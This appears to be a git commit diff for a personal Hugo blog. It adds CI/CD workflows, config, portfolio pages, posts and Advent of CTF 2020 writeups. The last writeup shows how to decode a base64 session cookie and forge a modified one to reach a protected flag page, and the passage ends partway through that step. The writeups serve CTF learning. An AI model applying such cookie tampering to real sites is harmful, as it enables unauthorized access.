Show current path in navbar

I accidentally save this post in the wrong location

.github/workflows/hugo_cd.yml

@@ -0,0 +1,34 @@
+name: Hugo CD
+
+on:
+  push:
+    branches:
+      - "master"
+
+defaults:
+  run:
+    working-directory: ./
+
+jobs:
+  cd:
+    timeout-minutes: 6
+    name: CD
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v2
+      - name: Setup hugo
+        uses: peaceiris/actions-hugo@v2
+        with:
+          hugo-version: "latest"
+          extended: true
+      - name: Build
+        run: hugo -D -F
+      - name: Create GitHub deployment
+        uses: chrnorm/deployment-action@releases/v1
+        id: deployment
+        with:
+          token: "${{ github.token }}"
+          target_url: https://maik.dev/
+          environment: production
+          initial_status: "success"

.github/workflows/hugo_ci.yml

@@ -0,0 +1,32 @@
+name: Hugo CI
+
+on:
+  push:
+    branches:
+      - "*"
+      - "*/*"
+      - "**"
+      - "!master"
+  pull_request:
+    branches:
+      - "master"
+
+defaults:
+  run:
+    working-directory: ./
+
+jobs:
+  ci:
+    timeout-minutes: 5
+    name: CI
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v2
+      - name: Setup hugo
+        uses: peaceiris/actions-hugo@v2
+        with:
+          hugo-version: "latest"
+          extended: true
+      - name: Build
+        run: hugo -D -F

.gitignore

@@ -1,3 +1,9 @@
 # Hugo default output directory
 public/
-resources/_gen/
+resources/_gen/
+.hugo_build.lock
+
+.vscode/
+
+*.bak
+*.old

README.md

@@ -0,0 +1,50 @@
+# Personal Website
+
+Link: <https://maik.dev>
+
+## Goals
+
+The goal of this website is mainly to post [CTF](https://ctftime.org/ctf-wtf/) writeups.
+
+Besides that, its also made for the enjoyment of creating this website. To wit, I also set some technical goals for this website.
+
+### Development goals
+
+The website must comply with at least the following:
+
+- The website is fully usable with JavaScript disabled.
+  - JavaScript may only be used for graphical enhancements.
+  - Where possible, JavaScript should be avoided.
+- The website must have a usable Dark Theme.
+  - This means all text and images are still readable, and the look and feel is the same are the regular theme (but dark ofcourse).
+- The website must have a working RSS feed,
+- The website must be static.
+  - Self-hosted, dynamic components (like a comment system) can be used, but the main content is static. (see the first goal)
+- All assets, libraries, whatever, must be hosted locally.
+  - With the exception of Google Analytics. I am planning to replace this in the future.
+
+## Installation
+
+### Install Hugo
+
+This website is made using the [Hugo static site generator](https://gohugo.io/).
+
+On Arch Linux this is as easy as running the following:
+
+```sh
+pacman -S hugo
+```
+
+### Running locally
+
+To see a preview of new posts, you can run the hugo development server.
+
+```sh
+hugo -DF server
+```
+
+The `-D` and `-F` flags are for building draft and future posts respectively.
+
+## Publish
+
+When a commit is pushed to the `master` branch, the new version of the website will automatically be deployed using GitHub Actions.

config.toml

@@ -2,15 +2,15 @@ baseURL = "https://maik.dev/"
 # baseURL = "http://localhost:1313/"
 title = "Maik de Kruif"
 languageCode = "en-us"
-# theme = "hello-friend-ng"
 theme = "maik-blog"
 
-paginate  = 10
+paginate  = 12
 rssLimit  = 10
 
 copyright = "© Maik de Kruif (maik_dev). All rights reserved."
 
 PygmentsCodeFences = true
+pygmentsUseClasses = true
 PygmentsStyle = "monokai"
 
 archetypeDir = "archetypes"
@@ -25,7 +25,7 @@ buildExpired = false
 canonifyURLs = true
 
 enableRobotsTXT = true
-enableGitInfo   = false
+enableGitInfo   = true
 enableEmoji     = true
 enableMissingTranslationPlaceholders = false
 disableRSS     = false
@@ -33,11 +33,24 @@ disableSitemap = false
 disable404     = false
 disableHugoGeneratorInject = false
 
+googleAnalytics = "UA-136337666-1"
+
 [permalinks]
-  posts = "/posts/:year/:month/:title/"
+  posts = "/posts/:title/"
+  writeups = "/:sections/:title/"
 
 [author]
   name = "Maik de Kruif"
+  email = "maik@maik.dev"
+  twitter = "@maik_dev"
+  image = "/img/home/portrait.png"
+
+[social]
+  twitter = "@maik_dev"
+
+[outputs]
+  home = ["HTML", "RSS"]
+  page = ["HTML", "RSS"]
 
 [params]
   dateform        = "Jan 2, 2006"
@@ -47,13 +60,17 @@ disableHugoGeneratorInject = false
 
   # Metadata mostly used in document's head
   description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff."
-  keywords = ""
+  keywords = "Devloper, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif"
   images = [""]
 
-  homeSubtitle = "Maik de Kruif (maik_dev)"
+  genre = "Blog"
+
+  showReadingTimeInList = false
+
+  homeSubtitle = "Software Engineering, Linux and Cyber Security"
 
   # Prefix of link to the git commit detail page. GitInfo must be enabled.
-  # gitUrl = ""
+  gitUrl = "https://github.com/maikka39/Personal-Website/commit/"
 
   # Set disableReadOtherPosts to true in order to hide the links to other posts.
   disableReadOtherPosts = false
@@ -62,7 +79,9 @@ disableHugoGeneratorInject = false
   # There are a lot of buttons preconfigured. If you want to change them,
   # generate the buttons here: https://sharingbuttons.io
   # and add them into your own `layouts/partials/sharing-buttons.html`
+  # Preconfigured: facebook, twitter, tumblr, email, pinterest, linkedin, reddit, xing, whatsapp, hackernews, telegram
   enableSharingButtons = true
+  sharingButtons = ["twitter", "email", "linkedin", "reddit", "whatsapp", "telegram"]
 
   # Integrate Javascript files or stylesheets by adding the url to the external assets or by
   # linking local files with their path relative to the static folder, e.g. "css/styles.css"
@@ -73,7 +92,7 @@ disableHugoGeneratorInject = false
   justifyContent = false  # Set "text-align: justify" to .post-content.
 
   # Default theme "light" or "dark"
-  defaultTheme = "dark"
+  defaultTheme = "light"
   themeColor = "#252627"
 
   # Colors for favicons
@@ -82,21 +101,16 @@ disableHugoGeneratorInject = false
     msapplication = "#252627"
     theme = "#252627"
 
-  [params.logo]
-    logoText     = "$ cd /home/"
-    logoHomeLink = "/"
-    # Set true to remove the logo cursor entirely.
-    # logoCursorDisabled = false
-    # Set to a valid CSS color to change the cursor in the logo.
-    # logoCursorColor    = "#67a2c9"
-    # Set to a valid CSS time value to change the animation duration, "0s" to disable.
-    # logoCursorAnimate  = "2s"
-
   # Uncomment this if you want a portrait on your start page
-  # [params.portrait]
+  [params.portrait]
-  #   path     = "/img/image.jpg"
+    path     = "/img/home/portrait.png"
-  #   alt      = "Portrait"
+    alt      = "Portrait"
-  #   maxWidth = "50px"
+    size = "175px"
+
+  # Wallets
+  [[params.wallets]]
+    name = "XMR"
+    address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi"
 
   # Social icons
   [[params.social]]
@@ -111,26 +125,30 @@ disableHugoGeneratorInject = false
     name = "linkedin"
     url  = "https://www.linkedin.com/in/maikdekruif/"
 
-  [[params.social]]
-    name = "stackoverflow"
-    url  = "https://stackoverflow.com/users/9146982/maik-de-kruif"
-
-  [[params.social]]
-    name = "rss"
-    url  = "posts/index.xml"
-
   [[params.social]]
     name = "twitter"
     url  = "https://twitter.com/maik_dev"
 
-  # [[params.social]]
+  [[params.social]]
-  #   name = "hackerrank"
+    name = "discord"
-  #   url  = "https://www.hackerrank.com/maik_dev"
+    url  = "https://discord.gg/wXCMdzCDcH"
 
   [[params.social]]
     name = "instagram"
     url  = "https://www.instagram.com/maik.dev/"
 
+  [[params.social]]
+    name = "stackoverflow"
+    url  = "https://stackoverflow.com/users/9146982/maik-de-kruif"
+
+  # [[params.social]]
+  #   name = "rss"
+  #   url  = "posts/index.xml"
+
+  # [[params.social]]
+  #   name = "hackerrank"
+  #   url  = "https://www.hackerrank.com/maik_dev"
+
   # [[params.social]]
   #   name = "medium"
   #   url  = "https://medium.com/@maikka39"
@@ -143,9 +161,9 @@ disableHugoGeneratorInject = false
     name = "reddit"
     url  = "https://www.reddit.com/user/maikka39"
 
-  [[params.social]]
+  # [[params.social]]
-    name = "lbry"
+  #   name = "lbry"
-    url  = "https://lbry.tv/@Maik:c"
+  #   url  = "https://lbry.tv/@Maik:c"
 
   [[params.social]]
     name = "youtube"
@@ -155,7 +173,7 @@ disableHugoGeneratorInject = false
   [languages.en]
     subtitle  = "maik.dev"
     weight    = 1
-    copyright = 'All rights reserved.'
+    copyright = "© Maik de Kruif (maik_dev). All rights reserved."
 
 [menu]
   [[menu.main]]
@@ -170,3 +188,7 @@ disableHugoGeneratorInject = false
     identifier = "posts"
     name       = "Posts"
     url        = "posts/"
+  [[menu.main]]
+    identifier = "writeups"
+    name       = "Writeups"
+    url        = "writeups/"

content/about.md

@@ -1,8 +1,8 @@
 +++
 author = "Maik de Kruif"
 title = "About"
-date = 2020-07-06T16:33:01+02:00
+date = 2021-11-19T12:26:01+01:00
-description = ""
+description = "Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it."
 images = []
 tags = [
     "aboutme",
@@ -12,4 +12,10 @@ categories = [
 ]
 +++
 
-Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on [GitHub](https://github.com/maikka39"). And last but not least, I love playing around with cyber-security related stuff.
+Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it.
+
+Outside of my job, I run a small business with a couple of friends where we develop drone shows. I'm responsible for both designing and writing the control software as well as creating and designing the actual drones.
+
+When I get home after work/school, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
+
+Skills/Interests: Python, Java, Scala, JavaScript, Node, CSS, HTML, Git, SQL, MongoDB, Apache, Nginx, Docker.

content/portfolio.md

@@ -1,18 +0,0 @@
-+++
-author = "Maik de Kruif"
-title = "Portfolio"
-date = 2020-07-06T16:37:43+02:00
-description = "Coming soon!"
-images = []
-tags = [
-    "portfolio",
-    "aboutme",
-]
-categories = [
-    "me",
-]
-+++
-
-## Coming soon
-
-Please come back later.

content/portfolio/_index.md

@@ -0,0 +1,9 @@
++++
+author = "Maik de Kruif"
+title = "Portfolio"
+description = "Over the years I have developed various pieces of software and accomplished many goals. Most of them can be found on my GitHub, but I have also listed some here with a bit of extra information."
++++
+
+Over the years I have developed various pieces of software and accomplished many goals.
+
+Most of them can be found on [my GitHub](https://github.com/maikka39/), but I have also listed some here with a bit of extra information.

content/portfolio/learn-to-program.md

@@ -0,0 +1,17 @@
++++
+author = "Maik de Kruif"
+title = "Learn-to-Program"
+start_date = 2019-09-03
+end_date = 2019-10-21
+company_name = "Personal"
+company_url = "https://maik.dev"
+cover = "img/portfolio/learn-to-program/screenshot.png"
+description = "This website was created for a school assignment. It was created with HTML and CSS only and no frameworks were used."
+skills = [
+    "Pure HTML and CSS",
+]
++++
+
+This website was created for a school assignment. It was created with HTML and CSS only and no frameworks were used.
+
+[Github](https://github.com/maikka39/Learn-to-Program)

content/portfolio/superbot.md

@@ -0,0 +1,22 @@
++++
+author = "Maik de Kruif"
+title = "SuperBot"
+start_date = 2018-08-17
+end_date = 2021-04-24
+company_name = "Personal"
+company_url = "https://maik.dev"
+description = "A Discord bot I wrote for my own server so that I could manage the server better and listen to music in voice channels."
+skills = [
+    "Python",
+    "Asynchronous programming",
+    "Input validation",
+]
++++
+
+An amazing Discord bot with lots of functionalities!
+
+A Discord bot I wrote for my own server so that I could manage the server better and listen to music in voice channels.
+
+SuperBot is the solution to your crowded and chaotic Discord server!
+
+[Github](https://github.com/maikka39/SuperBot)

content/portfolio/toy-neural-network-py.md

@@ -0,0 +1,19 @@
++++
+author = "Maik de Kruif"
+title = "Toy-Neural-Network-Py"
+start_date = 2019-03-02
+end_date = 2019-04-16
+company_name = "Personal"
+company_url = "https://maik.dev"
+description = "Neural Network Python library for experimenting with Machine Learning"
+skills = [
+    "Machine Learning",
+    "Neural Networks",
+    "Matrix calculations",
+    "Overheating hardware",
+]
++++
+
+Neural Network Python library for experimenting with Machine Learning
+
+[Github](https://github.com/maikka39/Toy-Neural-Network-Py)

content/portfolio/watch-together.md

@@ -0,0 +1,24 @@
++++
+author = "Maik de Kruif"
+title = "WatchTogether"
+start_date = 2018-08-17
+end_date = 9999-01-01
+company_name = "Personal"
+company_url = "https://maik.dev"
+cover = "img/portfolio/watch-together/screenshot.png"
+description = "A website to watch a youtube video together with someone who is not directly next to you!"
+skills = [
+    "Websockets",
+    "Socket-IO",
+    "NodeJS",
+    "React",
+    "Real time synchronization",
+    "REST API",
+]
++++
+
+WatchTogether is an online service that lets you watch a video together with your friends without being in the same room!
+
+[Github](https://github.com/maikka39/WatchTogether)
+
+[Github (backend)](https://github.com/maikka39/WatchTogether-Server)

content/portfolio/youtube-music-desktop-player.md

@@ -0,0 +1,22 @@
++++
+author = "Maik de Kruif"
+title = "Youtube-Music-Desktop-Player"
+start_date = 2019-10-17
+end_date = 2019-12-07
+company_name = "Personal"
+company_url = "https://maik.dev"
+cover = "img/portfolio/youtube-music-desktop-player/screenshot.png"
+description = "YouTube Music Desktop Player converts YouTube Music to a standalone desktop app. Because of this, you will never have to go through all your tabs to control your music."
+skills = [
+    "Desktop Application Development",
+    "Electron",
+    "Object Oriented JavaScipt",
+    "Script injection",
+]
++++
+
+YouTube Music Desktop Player converts YouTube Music to a standalone desktop app. Because of this, you will never have to go through all your tabs to control your music.
+
+_This software has no affiliation this Google, YouTube Music is a trademark of Google LCC._
+
+[Github](https://github.com/maikka39/Youtube-Music-Desktop-Player)

content/posts/_index.md

@@ -0,0 +1,7 @@
++++
+author = "Maik de Kruif"
+title = "Posts"
+description = "Every now and then I'll write a post. Here's a collection of my previous ones."
++++
+
+Every now and then I'll write a post. Here's a collection of my previous ones.

content/posts/adventofcode/2021.md

@@ -0,0 +1,34 @@
++++
+author = "Maik de Kruif"
+title = "Advent of Code - 2021"
+date = 2021-12-01T16:41:25+02:00
+description = "My participation in Advent of Code 2021."
+cover = "img/posts/adventofcode/2021_cover.png"
+tags = [
+    "AdventOfCode",
+    "algorithms",
+]
+categories = [
+    "code",
+]
++++
+
+It's December again!:tada:
+
+That doesn't only mean it'll be my birthday soon :birthday:, but I'll also participate in some advent challenges again.
+
+Last year I participated in [The Advent of CTF]({{< ref "/posts/adventofctf.md" >}}), but this year I feel like doing some coding challenges. I have heard many people talk about [Advent of Code](https://adventofcode.com/), but have never actually done the challenges. So this year, I'll be busy with Advent of Code.
+
+## Language
+
+I'll most likely be solving the problems in Python. This is my preferred language for most thing algoritms. I have thought about using other languages, but due to my internship I won't have much time to solve the problems and thus don't want to spend time looking up the language features.
+
+After solving the challenges and waiting for a bit for others to solve them, I'll post my solutions on [my GitHub repo for it](https://github.com/maikka39/Advent-of-Code)
+
+## Competition
+
+If you feel like you you can beat me in solving the problems, feel free to join my private leaderboard using the following code: `1337061-861df0da`.
+
+You'll have plenty of time as I won't be setting an alarm at 6 A.M. my time to solve them :sleeping:.
+
+Happy coding to all of you that are participating!:computer:

content/posts/adventofctf.md

@@ -0,0 +1,46 @@
++++
+author = "Maik de Kruif"
+title = "The Advent of CTF - 2020"
+date = 2021-02-08T16:41:25+02:00
+description = "My participation in The Advent of CTF 2020."
+cover = "img/posts/adventofctf/cover.png"
+tags = [
+    "AdventOfCTF",
+    "ctf",
+]
+categories = [
+    "ctf",
+]
++++
+
+So, last December I participated in The Advent of CTF.
+
+## The Advent of CTF
+
+This CTF is a yearly competition held in December. It, like the name implies, features 24 challenges. One every day before Christmas. The challenges range from easy to hard and the CTF is created and curated by [Arjen Wiersma](https://twitter.com/credmp).
+
+## First CTF
+
+This was my first "real" CTF. I had played some local challenged from the internet, but had never dealt with remote machines.
+
+Because it was my first one, I though I'd be a good idea to document my progress. I choose to do this to both force myself to actually deeply understand the exploit, and help others learn how to do these challenge as I would have never been able to solve them if it weren't for some great writeups by others.
+
+[My writeups of these challenges can be found here]({{< ref "/tags/adventofctf/" >}}).
+
+## Expreriences
+
+From playing this CTF I learned a lot about how website can be exploited. Like I said above, I did have _some_ previous knowledge, but no where near what I have now because of this CTF.
+
+The challenges were very diverse and every single one thought me a new subject.
+
+Even though I was pretty new to this, I almost managed to get a first blood on a challenge. Only being beated by a few minutes. In the end I did end up in the top 20, finishing in 13th place.
+
+{{< figure src="/img/posts/adventofctf/scoreboard.jpeg" title="Scoreboard" >}}
+
+Because I finished in 13th place, I even got a physical coin as a remider of this CTF.
+
+{{< figure src="/img/posts/adventofctf/coin.jpeg" title="Coin" >}}
+
+Finally, I'd like to thank [Arjen Wiersma](https://twitter.com/credmp) and [NOVI Hogeschool](https://twitter.com/NOVIhogeschool) again for this awesome CTF and this great opportinity to learn about hacking.
+
+The original challenges can be found on [the Advent of CTF GitHub page](https://github.com/adventofctf/2020).

content/posts/linux-journey.md

@@ -0,0 +1,90 @@
++++
+author = "Maik de Kruif"
+title = "My Linux Journey"
+date = 2022-02-17T16:41:25+02:00
+description = "Recently, my friend Raymon posted on is website about his distro hopping journey. I thought it was fun to see what he used over the years, so created a blog post for myself to post my journey."
+cover = "img/posts/linux-journey/cover.png"
+tags = [
+    "linux",
+    "windows",
+    "zorin os",
+    "kali linux",
+    "Pop!_OS",
+    "manjaro",
+    "arch",
+]
+categories = [
+    "personal",
+    "linux",
+]
++++
+
+Recently, my friend [Raymon](https://raymon.dev/) [posted on is website about his distro hopping journey](https://raymon.dev/posts/2022/2/hopping-around.html). I thought it was fun to see what he used over the years, so created a blog post for myself to post my journey.
+
+## Tl;dr
+
+| Device                       | Distro _("/" means dualbooted)_ | Year      |
+| ---------------------------- | ------------------------------- | --------- |
+| Toshiba Satellite C50D-A-10K | Windows                         | 2016      |
+| Toshiba Satellite C50D-A-10K | ZorinOS / Windows               | 2016-2017 |
+| Toshiba Satellite C50D-A-10K | Kali Linux                      | 2017      |
+| Toshiba Satellite C50D-A-10K | ZorinOS                         | 2017      |
+| MSI GL62M 7REX               | Windows                         | 2018      |
+| MSI GL62M 7REX               | Pop!_OS / Windows               | 2019-2020 |
+| Asus Zephyrus M GU502GV      | Windows                         | 2020      |
+| Asus Zephyrus M GU502GV      | Manjaro / Windows               | 2020-2021 |
+| Asus Zephyrus M GU502GV      | Arch / Windows                  | 2021-2022 |
+
+## My journey
+
+### First laptop
+
+When I got my first laptop (a Toshiba Satellite C50D-A-10K), it, of course, had Windows installed. At first, this worked fine, as I didn't use my laptop that much. But as I started to use it more, I got more and more annoyed with how slow it was and the `DPC WATCHDOG VIOLATION` blue screens.
+
+Part of the slowness was, naturally, because of the computer itself. Back then, you couldn't expect too much from a cheap AMD APU.
+
+So, I started looking around and came across Zorin OS.
+
+#### Zorin OS
+
+After spending some time learning how to dual boot Zorin OS, I was pleasantly surprised with how well it worked out of the box. Its usage wasn't too different from Windows, which was a huge plus, as I had never used or heard about Linux before. And even though it looked like Windows, it was much faster to use.
+
+As I continued using Zorin OS, I started using the terminal more and more. This is probably where my love for Linux started. It allowed me to do things much faster, and it made way more sense than having to click through twenty UI components.
+
+#### Kali Linux
+
+By this time, I learned about hacking, and saw many people use Kali Linux for it. As I didn't know much about it, and I didn't know how to install the tools necessary on Zorin OS, I installed Kali.
+
+This actually wasn't a good experience. Although all the tools I wanted worked well, Kali was very slow on my machine. Because of this, I turned back to Zorin OS soon after.
+
+### MSI laptop
+
+Slowly, I became sick of the slowness, and wanted to play Minecraft at more than 20 FPS. So, I bought an MSI GL62M 7REX, which, with its i7-7700HQ and GTX 1050 Ti, was a massive upgrade over the AMD E1-1200 in the Toshiba.
+
+As it, thus, was quick enough, I kept running Windows on it for a while.
+
+I began to miss Linux after a while, though, and wanted to try something new. This is where Pop!_OS comes into view .
+
+#### Pop!_OS
+
+Pop!_OS was great. I got everything to work fairly quickly, and it was easy to use. I still kept Windows around for games, as Linux support was even worse than it is now.
+
+### Asus Zephyrus
+
+After a while, the subpar build quality of the MSI laptop really started to show. It was also a fairly heavy laptop, and since it had to carry it to school every day, I started to look for a replacement. I eventually settled on the Asus Zephyrus M GU502GV.
+
+Initially, I used it with Windows again, but quickly installed Linux again. This time, I heard good things about Manjaro.
+
+#### Manjaro
+
+After I installed Manjaro on a second drive, I found out support for my laptop was pretty much nonexistent. The sound card wasn't working, the battery drained at least three times quicker, and certain special keys weren't functioning. I tried several distros, but there always were some major parts of the system that didn't feel like working.
+
+Because of this, I had to use Windows. Because of [WSL](https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux) this was kind of doable, but overall just very annoying.
+
+I kept coming back to it from time to time, and eventually most issues were fixed. It didn't work exactly how I wanted, though, and my system was pretty bloated.
+
+#### I use Arch, btw
+
+Since I liked most parts of Manjaro, I decided to install the distro Manjaro was based on, Arch Linux. Many people say it is hard to use, and difficult to install, but after using it for a little over a year now, I've found the opposite to be true. Especially when it comes to the package manager, pacman is infinitely easier to use than apt.
+
+Arch Linux has been working very well for me up until now, and I don't plan to hop distros any time soon.

content/posts/test.md

@@ -1,14 +0,0 @@
-+++
-author = "Maik de Kruif"
-title = "Test Post"
-date = 2020-07-08T16:41:25+02:00
-description = "My first post on this website."
-tags = [
-    "untagged",
-]
-categories = [
-    "uncategorized",
-]
-+++
-
-This page should be working

content/privacy.md

@@ -0,0 +1,60 @@
++++
+author = "Maik de Kruif"
+title = "Privacy Policy"
+date = 2020-12-03T22:31:58+01:00
+description = ""
+images = []
+tags = [
+    "privacy",
+]
+categories = [
+    "privacy",
+]
++++
+
+This privacy policy applies to [maik.dev](https://maik.dev).
+
+We respect the privacy of our visitors. We collect only such personal information as is needed to provide the information, service, or assistance that you request.
+
+## Information We Collect Automatically
+
+If you visit our website to browse, read, or download information:
+
+- Your web browser automatically sends us (and we may retain) information such as the:
+  - Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school);
+  - Internet Protocol address of the computer you are using;
+  - type of browser software and operating system you are using;
+  - date and time you access our site; and
+  - the Internet address of the site from which you linked directly to our site.
+- We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful.
+- We will not use this information to identify individuals, except for site security or law enforcement purposes.
+- We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information.
+
+## Other Information We Collect
+
+If you choose to identify yourself (or otherwise provide us with personal information) when you use our online forms:
+
+- We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy.
+- If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request.
+
+## How Long We Keep Information
+
+We may keep information that will collect for an unlimited period of time.
+
+## Security
+
+Please note that electronic communication, particularly email, is not necessarily secure against interception. Please do not send sensitive data by email or web form.
+
+## Cookies
+
+We may use cookies in order to customize this site for return visitors. These cookies are not required for site functionality. Additionally, third-party widgets such as YouTube or Flickr may install cookies depending on their configuration. You are not required to accept any cookies to use this site.
+
+### Google Analytics
+
+We use a tool called “Google Analytics” to collect information about use of this site. Google Analytics collects information such as how often users visit this site, what pages they visit when they do so, and what other sites they used prior to coming to this site. We use the information we get from Google Analytics only to improve this site. Google Analytics collects only the IP address assigned to you on the date you visit this site, rather than your name or other identifying information. We do not combine the information collected through the use of Google Analytics with personally identifiable information. Although Google Analytics plants a permanent cookie on your web browser to identify you as a unique user the next time you visit this site, the cookie cannot be used by anyone but Google. Google’s ability to use and share information collected by Google Analytics about your visits to this site is restricted by the Google Analytics Terms of Use and the Google Privacy Policy. You can prevent Google Analytics from recognizing you on return visits to this site by disabling cookies on your browser.
+
+## Site Monitoring
+
+For site security purposes this computer system employs software programs to monitor network traffic. Anyone using this system consents to the monitoring of their use by system or security personnel.
+
+Unauthorized use, tampering with or modification of this system—or its supporting hardware or software—may violate federal or other statutes and may subject the violator to criminal and civil penalties. In the event of unauthorized intrusion, all relevant information regarding possible violation of law may be provided to law enforcement officials.

content/writeups/_index.md

@@ -0,0 +1,7 @@
++++
+author = "Maik de Kruif"
+title = "Writeups"
+description = "A collection of my write-ups on Capture The Flag (CTF) events, hardware challenges and real life encounters. They explain how the goal was accomplished and try to teach you how to approach these kinds of challenges."
++++
+
+A collection of my write-ups on Capture The Flag (CTF) events, hardware challenges and real life encounters. They explain how the goal was accomplished and try to teach you how to approach these kinds of challenges.

content/writeups/adventofctf/2020/_index.md

@@ -0,0 +1,5 @@
++++
+author = "Maik de Kruif"
+title = "2020"
+description = "My Advent of CTF - 2020 writeups."
++++

content/writeups/adventofctf/2020/challenge_0.md

@@ -0,0 +1,53 @@
++++
+author = "Maik de Kruif"
+title = "Teaser"
+subtitle = "Challenge 0 - AdventOfCTF"
+date = 2020-12-02T17:20:28+01:00
+description = "A writeup for challenge 0 of AdventOfCTF."
+cover = "img/writeups/adventofctf/2020/f90b2bf3f08ee628c09505ff309018ed.png"
+tags = [
+    "AdventOfCTF",
+    "challenge",
+    "ctf",
+    "hacking",
+    "writeup",
+    "web",
+]
+categories = [
+    "ctf",
+    "writeups",
+    "hacking",
+]
+aliases = [
+    "challenge_0"
+]
++++
+
+- Points: 1
+
+## Description
+
+Do you remember the flag in the teaser website?
+
+## Solution
+
+Sadly, the teaser website isn't online anymore. If only someone kept an archive of the internet. This is where the Wayback Machine on [archive.org](https://archive.org/) comes in handy.
+
+So, let's use the Wayback Machine to get the teaser page. <https://web.archive.org/web/20201112020839/https://adventofctf.com/>
+
+When we take a look at the source html of the page we find the following comment:
+
+```html
+<!-- Ceasar worked on this you know. Tk9WSXtIRVlfMVNfVGgxU19AX0ZsYTk/fQ== -->
+```
+
+It looks like some encoded string. If you've been doing CTFs for a while you'll probably recognize it's encoded in `base64`. We can use the program `base64` to decode this string.
+
+```bash
+> echo "Tk9WSXtIRVlfMVNfVGgxU19AX0ZsYTk/fQ==" | base64 -d
+NOVI{HEY_1S_Th1S_@_Fla9?}
+```
+
+We found the flag! It's `NOVI{HEY_1S_Th1S_@_Fla9?}`.
+
+This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#0-1).

content/writeups/adventofctf/2020/challenge_1.md

@@ -0,0 +1,53 @@
++++
+author = "Maik de Kruif"
+title = "The Source"
+subtitle = "Challenge 1 - AdventOfCTF"
+date = 2020-12-02T17:27:25+01:00
+description = "A writeup for challenge 1 of AdventOfCTF."
+cover = "img/writeups/adventofctf/2020/3f12301d8715a1371d2d776d25ea6ab6.png"
+tags = [
+    "AdventOfCTF",
+    "challenge",
+    "ctf",
+    "hacking",
+    "writeup",
+    "web",
+]
+categories = [
+    "ctf",
+    "writeups",
+    "hacking",
+]
+aliases = [
+    "challenge_1"
+]
++++
+
+- Points: 100
+
+## Description
+
+All starts should be easy
+
+Visit <https://01.adventofctf.com> to start the challenge.
+
+## Solution
+
+When opening the page, we're asked for Santa's password. Unfortunately, we don't know the password. Don't stop there though, mayby someone has hidden it in the source html.
+
+Let's open the source by pressing `Ctrl + U` and take a look at it. Near the bottom we find the following comment:
+
+```html
+<!-- This is an odd encoded thing right? YWR2ZW50X29mX2N0Zl9pc19oZXJl -->
+```
+
+This looks like a `base64` encoded string so let's use the program `base64` with the `-d` decode flag to decode the text.
+
+```bash
+> echo "YWR2ZW50X29mX2N0Zl9pc19oZXJl" | base64 -d
+advent_of_ctf_is_here
+```
+
+We get some plain text. If we enter it as Santa's password on the challenge page, it gives us the flag: `NOVI{L3T_7H3_M0NTH_0F_FUN_START}`.
+
+This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#1-2).

content/writeups/adventofctf/2020/challenge_10.md

@@ -0,0 +1,70 @@
++++
+author = "Maik de Kruif"
+title = "Include"
+subtitle = "Challenge 10 - AdventOfCTF"
+date = 2020-12-11T22:12:42+01:00
+description = "A writeup for challenge 10 of AdventOfCTF."
+cover = "img/writeups/adventofctf/2020/ba15475608ea3f8313825eec5dceac06.png"
+tags = [
+    "AdventOfCTF",
+    "challenge",
+    "ctf",
+    "hacking",
+    "writeup",
+    "web",
+]
+categories = [
+    "ctf",
+    "writeups",
+    "hacking",
+]
+aliases = [
+    "challenge_10"
+]
++++
+
+- Points: 1000
+
+## Description
+
+When files are included things can get real messy. The flag is in flag.php.
+
+Visit <https://10.adventofctf.com> to start the challenge.
+
+## Finding the vulnerability
+
+When opening the website we get some text but it is not really useful. So let's go to [`/flag.php`](https://10.adventofctf.com/flag.php) because the description told us the flag is there.
+
+When opening `/flag.php` we get a message "You are on the right page, but you cannot see what you want yet. Go get promoted!". Hmm, let's take a look at the cookies.
+
+We find one cookie: `zeroten=eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0%3D`. this looks base64 encoded, so let's try to decode it:
+
+```bash
+echo -n "eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=" | base64 -d
+```
+
+```json
+{ "page": "main", "role": "12dea96fec20593566ab75692c9949596833adc9" }
+```
+
+We see that we have a `page` and a `role`. Let's try to replace modify `page` to "flag".
+
+```bash
+echo -n '{"page":"flag","role":"12dea96fec20593566ab75692c9949596833adc9"}' | base64 -w 0
